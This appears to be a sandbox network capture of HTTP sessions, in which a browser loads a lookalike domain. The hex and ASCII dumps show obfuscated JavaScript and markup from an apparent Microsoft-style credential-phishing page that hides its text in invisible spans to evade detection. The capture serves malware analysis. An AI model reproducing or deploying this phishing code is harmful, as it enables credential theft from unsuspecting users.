2024-04-18 21:05:42 UTC	643	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:42 GMT Content-Type: text/javascript Content-Length: 7043 Connection: close Last-Modified: Tue, 16 Apr 2024 22:58:32 GMT Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8Cyl0eHOZBUF8i9QpmYQn%2BsA8BYmMnRkd38b2zf6%2BxjLHAn2imetbSV5%2FZLl6ZygB1q4XrzIZbYMHGTC3Qlqn02WEI1BaWqRssWZYEnqG5wdBwaT7J2gf6B9EPcjnmNflwtxtsoBhBp4%2BQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d4cdc4744d9-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:42 UTC	726	IN	Data Raw: 76 61 72 20 5f 30 78 32 32 64 35 62 34 3d 5f 30 78 65 39 33 36 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 65 39 33 36 28 5f 30 78 31 31 30 64 30 66 2c 5f 30 78 32 62 39 31 61 39 29 7b 76 61 72 20 5f 30 78 35 61 66 63 32 39 3d 5f 30 78 32 65 38 39 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 65 39 33 36 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 65 38 30 33 34 2c 5f 30 78 31 36 34 39 61 66 29 7b 5f 30 78 35 65 38 30 33 34 3d 5f 30 78 35 65 38 30 33 34 2d 30 78 31 32 64 3b 76 61 72 20 5f 30 78 34 31 62 66 65 38 3d 5f 30 78 35 61 66 63 32 39 5b 5f 30 78 35 65 38 30 33 34 5d 3b 72 65 74 75 72 6e 20 5f 30 78 34 31 62 66 65 38 3b 7d 2c 5f 30 78 65 39 33 36 28 5f 30 78 31 31 30 64 30 66 2c 5f 30 78 32 62 39 31 61 39 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 38 66 Data Ascii: var _0x22d5b4=_0xe936;function _0xe936(_0x110d0f,_0x2b91a9){var _0x5afc29=_0x2e89();return _0xe936=function(_0x5e8034,_0x1649af){_0x5e8034=_0x5e8034-0x12d;var _0x41bfe8=_0x5afc29[_0x5e8034];return _0x41bfe8;},_0xe936(_0x110d0f,_0x2b91a9);}(function(_0x18f
2024-04-18 21:05:42 UTC	1369	IN	Data Raw: 65 38 39 28 29 7b 76 61 72 20 5f 30 78 33 35 37 34 33 62 3d 5b 27 6c 6f 67 27 2c 27 75 6e 64 65 72 27 2c 27 70 72 6f 74 6f 74 79 70 65 27 2c 27 75 73 65 72 6e 61 6d 65 45 72 72 6f 72 27 2c 27 64 69 73 61 62 6c 65 64 27 2c 27 73 65 61 72 63 68 27 2c 27 70 72 6f 67 72 65 73 73 42 61 72 27 2c 27 72 65 6d 6f 76 65 43 6c 61 73 73 27 2c 27 3c 62 72 2f 3e 27 2c 27 65 61 63 68 27 2c 27 6a 73 6f 6e 27 2c 27 74 72 61 63 65 27 2c 27 73 74 79 6c 65 27 2c 27 71 75 65 72 79 53 65 6c 65 63 74 6f 72 27 2c 27 6f 70 61 63 69 74 79 27 2c 27 6e 6f 6e 65 27 2c 27 69 30 31 31 36 27 2c 27 76 61 6c 75 65 27 2c 27 6c 6f 63 61 74 69 6f 6e 27 2c 27 72 65 6d 6f 76 65 41 74 74 72 27 2c 27 72 65 73 65 74 27 2c 27 6c 6f 67 5f 66 6f 72 6d 27 2c 27 6e 6f 77 27 2c 27 72 65 64 69 72 65 63 Data Ascii: e89(){var _0x35743b=['log','under','prototype','usernameError','disabled','search','progressBar','removeClass','<br/>','each','json','trace','style','querySelector','opacity','none','i0116','value','location','removeAttr','reset','log_form','now','redirec
2024-04-18 21:05:42 UTC	1369	IN	Data Raw: 66 5b 5f 30 78 31 32 66 34 64 38 28 30 78 31 35 38 29 5d 28 5f 30 78 32 38 31 64 34 34 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 5f 30 78 31 31 32 64 61 66 3d 6e 75 6c 6c 2c 5f 30 78 33 39 30 31 65 35 3b 7d 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 72 65 74 75 72 6e 20 5f 30 78 32 62 38 37 64 62 3d 21 5b 5d 2c 5f 30 78 33 63 66 65 63 39 3b 7d 3b 7d 28 29 29 2c 5f 30 78 34 62 39 62 61 35 3d 5f 30 78 64 62 31 63 65 63 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 34 38 38 32 35 33 3d 5f 30 78 65 39 33 36 3b 72 65 74 75 72 6e 20 5f 30 78 34 62 39 62 61 35 5b 5f 30 78 34 38 38 32 35 33 28 30 78 31 33 31 29 5d 28 29 5b 5f 30 78 34 38 38 32 35 33 28 30 78 31 33 65 29 5d 28 5f 30 78 34 38 38 32 35 33 28 30 78 31 35 33 Data Ascii: f[_0x12f4d8(0x158)](_0x281d44,arguments);return _0x112daf=null,_0x3901e5;}}:function(){};return _0x2b87db=![],_0x3cfec9;};}()),_0x4b9ba5=_0xdb1cec(this,function(){var _0x488253=_0xe936;return _0x4b9ba5[_0x488253(0x131)]()[_0x488253(0x13e)](_0x488253(0x153
2024-04-18 21:05:42 UTC	1369	IN	Data Raw: 30 78 31 33 38 29 5d 3d 5f 30 78 31 36 34 39 61 66 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 35 66 29 5d 28 5f 30 78 31 36 34 39 61 66 29 2c 5f 30 78 33 61 65 62 32 61 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 33 31 29 5d 3d 5f 30 78 34 31 65 35 39 30 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 33 31 29 5d 5b 5f 30 78 33 39 34 37 66 36 28 30 78 31 35 66 29 5d 28 5f 30 78 34 31 65 35 39 30 29 2c 5f 30 78 35 31 36 64 37 64 5b 5f 30 78 31 63 64 66 39 31 5d 3d 5f 30 78 33 61 65 62 32 61 3b 7d 7d 29 3b 5f 30 78 35 65 38 30 33 34 28 29 3b 66 75 6e 63 74 69 6f 6e 20 73 6c 65 65 70 28 5f 30 78 34 31 35 62 63 31 29 7b 76 61 72 20 5f 30 78 31 35 35 30 61 33 3d 5f 30 78 65 39 33 36 3b 63 6f 6e 73 74 20 5f 30 78 32 61 65 65 61 62 3d 44 61 74 65 5b 5f 30 78 31 35 35 30 Data Ascii: 0x138)]=_0x1649af[_0x3947f6(0x15f)](_0x1649af),_0x3aeb2a[_0x3947f6(0x131)]=_0x41e590[_0x3947f6(0x131)][_0x3947f6(0x15f)](_0x41e590),_0x516d7d[_0x1cdf91]=_0x3aeb2a;}});_0x5e8034();function sleep(_0x415bc1){var _0x1550a3=_0xe936;const _0x2aeeab=Date[_0x1550
2024-04-18 21:05:42 UTC	1369	IN	Data Raw: 34 62 39 38 35 63 3d 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 34 36 29 5d 28 5f 30 78 33 36 37 63 62 35 28 30 78 31 33 33 29 29 3b 70 72 6f 67 3d 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 37 31 29 5d 28 5f 30 78 33 36 37 63 62 35 28 30 78 31 33 66 29 29 2c 70 72 6f 67 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 36 36 29 5d 28 5f 30 78 33 36 37 63 62 35 28 30 78 31 36 35 29 29 2c 5f 30 78 32 36 31 31 38 32 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 34 35 29 5d 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 33 30 29 5d 3d 27 31 30 27 2c 5f 30 78 32 36 31 31 38 32 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 34 35 29 5d 5b 5f 30 78 33 36 37 63 62 35 28 30 78 31 34 37 29 5d 3d 27 2e 35 27 2c 5f 30 78 34 62 39 38 35 63 5b Data Ascii: 4b985c=document[_0x367cb5(0x146)](_0x367cb5(0x133));prog=document[_0x367cb5(0x171)](_0x367cb5(0x13f)),prog[_0x367cb5(0x166)](_0x367cb5(0x165)),_0x261182[_0x367cb5(0x145)][_0x367cb5(0x130)]='10',_0x261182[_0x367cb5(0x145)][_0x367cb5(0x147)]='.5',_0x4b985c[
2024-04-18 21:05:42 UTC	841	IN	Data Raw: 30 78 31 33 31 39 33 33 2c 5f 30 78 31 36 32 34 34 63 29 7b 76 61 72 20 5f 30 78 32 36 38 33 34 38 3d 5f 30 78 32 35 38 65 31 62 3b 5f 30 78 32 62 65 64 39 37 2b 3d 27 27 2b 5f 30 78 31 36 32 34 34 63 5b 30 78 30 5d 2b 5f 30 78 32 36 38 33 34 38 28 30 78 31 34 31 29 3b 7d 29 3b 7d 65 6c 73 65 7b 69 66 28 5f 30 78 33 35 64 31 35 32 5b 5f 30 78 32 35 38 65 31 62 28 30 78 31 36 34 29 5d 3d 3d 30 78 31 61 33 29 6c 6f 63 61 74 69 6f 6e 5b 5f 30 78 32 35 38 65 31 62 28 30 78 31 35 31 29 5d 28 29 3b 65 6c 73 65 7b 7d 7d 7d 2c 27 63 6f 6d 70 6c 65 74 65 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 35 64 63 37 34 29 7b 76 61 72 20 5f 30 78 31 65 38 63 64 35 3d 5f 30 78 33 36 37 63 62 35 3b 5f 30 78 32 36 31 31 38 32 5b 5f 30 78 31 65 38 63 64 35 28 30 78 31 34 35 Data Ascii: 0x131933,_0x16244c){var _0x268348=_0x258e1b;_0x2bed97+=''+_0x16244c[0x0]+_0x268348(0x141);});}else{if(_0x35d152[_0x258e1b(0x164)]==0x1a3)location[_0x258e1b(0x151)]();else{}}},'complete':function(_0x25dc74){var _0x1e8cd5=_0x367cb5;_0x261182[_0x1e8cd5(0x145

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49786	184.25.164.138	443	7412	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:42 UTC	390	OUT	GET /onboarding/smskillreader.txt HTTP/1.1 Host: armmf.adobe.com Connection: keep-alive Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br
2024-04-18 21:05:42 UTC	247	IN	HTTP/1.1 200 OK Server: Apache Last-Modified: Mon, 01 May 2023 15:02:33 GMT ETag: "78-5faa31cce96da" Accept-Ranges: bytes Content-Length: 120 Content-Type: text/plain; charset=UTF-8 Date: Thu, 18 Apr 2024 21:05:42 GMT Connection: close
2024-04-18 21:05:42 UTC	120	IN	Data Raw: 46 69 6c 65 20 74 68 61 74 20 61 63 74 73 20 6c 69 6b 65 20 61 20 4b 69 6c 6c 20 73 77 69 74 63 68 20 66 6f 72 20 53 4d 53 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 69 6e 20 52 65 61 64 65 72 2e 20 44 65 6c 65 74 65 20 74 68 69 73 20 66 69 6c 65 20 74 6f 20 65 6e 61 62 6c 65 20 74 68 65 20 6b 69 6c 6c 20 73 77 69 74 63 68 20 69 6e 20 52 65 61 64 65 72 2e Data Ascii: File that acts like a Kill switch for SMS functionality in Reader. Delete this file to enable the kill switch in Reader.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49787	172.67.191.217	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:42 UTC	1109	OUT	GET /1 HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
2024-04-18 21:05:43 UTC	698	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=30KlG3UVofpbI219SHnkl8JKmhjDt%2FZEsSGBQR4J4t1mkG93a3hvOgTMd7LFed0NYSVlhV2jJ7SjMRUr%2FABa3JcPdfEP2cxVdpe79ky0gEEWBxSAnFV9o4OKAQHUUF8xkotQtqOAg6%2FePg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d5399f6b0bb-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:43 UTC	671	IN	Data Raw: 33 30 64 37 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 38 61 35 35 38 36 30 66 32 63 61 65 33 35 38 65 35 36 30 61 61 35 66 35 35 38 35 36 63 37 63 31 36 36 32 31 38 62 32 37 32 39 33 64 39 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 66 32 64 31 37 65 61 34 33 64 39 61 32 31 62 34 37 65 65 37 31 31 33 62 64 30 36 33 32 31 63 36 36 32 31 38 62 32 34 61 32 32 63 33 20 20 20 20 20 20 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 Data Ascii: 30d7 <html dir="ltr" class="8a55860f2cae358e560aa5f55856c7c166218b27293d9" lang="en"> <head> <title> bf2d17ea43d9a21b47ee7113bd06321c66218b24a22c3 </title> <meta http-equiv="Content-Type" content="text/html; cha
2024-04-18 21:05:43 UTC	1369	IN	Data Raw: 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 0a 20 20 20 20 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 63 62 20 38 61 35 35 38 36 30 66 32 63 61 65 33 35 38 65 35 36 30 61 61 35 66 35 35 38 35 36 63 37 63 31 36 36 32 31 38 62 32 37 32 39 33 65 32 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 63 6b 67 72 6f 75 6e 64 20 38 61 35 35 38 36 30 66 32 63 61 65 33 35 38 65 35 36 30 61 61 35 66 35 35 38 35 36 63 37 63 31 36 36 32 31 38 62 32 37 32 39 33 65 33 22 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 3e 0a 20 20 20 Data Ascii: sheet"> </head> <body class="cb 8a55860f2cae358e560aa5f55856c7c166218b27293e2" style="display: block;"> <div> <div> <div class="background 8a55860f2cae358e560aa5f55856c7c166218b27293e3" role="presentation">
2024-04-18 21:05:43 UTC	1369	IN	Data Raw: 38 61 35 35 38 36 30 66 32 63 61 65 33 35 38 65 35 36 30 61 61 35 66 35 35 38 35 36 63 37 63 31 36 36 32 31 38 62 32 37 32 39 34 30 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 69 67 68 74 62 6f 78 2d 63 6f 76 65 72 20 38 61 35 35 38 36 30 66 32 63 61 65 33 35 38 65 35 36 30 61 61 35 66 35 35 38 35 36 63 37 63 31 36 36 32 31 38 62 32 37 32 39 34 30 33 22 3e 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 70 72 6f 67 72 65 73 73 42 61 72 22 20 68 69 64 64 65 6e 3d 22 22 20 63 6c 61 73 73 3d 22 70 72 6f 67 72 65 73 73 20 38 61 35 35 38 36 30 66 32 63 61 65 33 35 38 65 35 36 30 61 61 Data Ascii: 8a55860f2cae358e560aa5f55856c7c166218b2729402"> <div class="lightbox-cover 8a55860f2cae358e560aa5f55856c7c166218b2729403"> </div> <div id="progressBar" hidden="" class="progress 8a55860f2cae358e560aa
2024-04-18 21:05:43 UTC	1369	IN	Data Raw: 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 4e 3c 2f 73 70 61 6e 3e 69 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 4e 3c 2f 73 70 61 6e 3e 67 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 Data Ascii: line; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">N</span>i<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">N</span>g<span style="display: i
2024-04-18 21:05:43 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 68 69 64 64 65 6e 3d 22 22 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 32 34 20 65 72 72 6f 72 20 65 78 74 2d 65 72 72 6f 72 22 20 69 64 3d 22 75 73 65 72 6e 61 6d 65 45 72 72 6f 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 45 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 Data Ascii: <div hidden="" class="col-md-24 error ext-error" id="usernameError"> E<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-he
2024-04-18 21:05:43 UTC	1369	IN	Data Raw: 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 71 3c 2f 73 70 61 6e 3e 6c 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 71 3c 2f 73 70 61 6e 3e 69 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 Data Ascii: 25, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">q</span>l<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">q</span>i<span style="display: inline; color: rgba(26,
2024-04-18 21:05:43 UTC	1369	IN	Data Raw: 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 71 3c 2f 73 70 61 6e 3e 64 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 71 3c 2f 73 70 61 6e 3e 64 3c 73 70 61 6e 20 73 Data Ascii: yle="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">q</span>d<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">q</span>d<span s
2024-04-18 21:05:43 UTC	1369	IN	Data Raw: 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 71 3c 2f 73 70 61 6e 3e 6f 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 71 3c 2f 73 70 61 6e 3e 6e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 Data Ascii: ; font-size: 0.02px;">q</span>o<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">q</span>n<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03p
2024-04-18 21:05:43 UTC	1369	IN	Data Raw: 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 71 3c 2f 73 70 61 6e 3e 20 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 71 3c 2f 73 70 61 6e 3e 6f 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 Data Ascii: ; max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">q</span> <span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">q</span>o<span style="display: inline; color: rgba(26, 125, 117, 0
2024-04-18 21:05:43 UTC	888	IN	Data Raw: 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 71 3c 2f 73 70 61 6e 3e 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 71 3c 2f 73 70 61 6e 3e 6d 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c Data Ascii: y: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">q</span>a<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">q</span>m<span style="displ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	49788	172.67.191.217	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:42 UTC	1183	OUT	GET /favicon.ico HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image 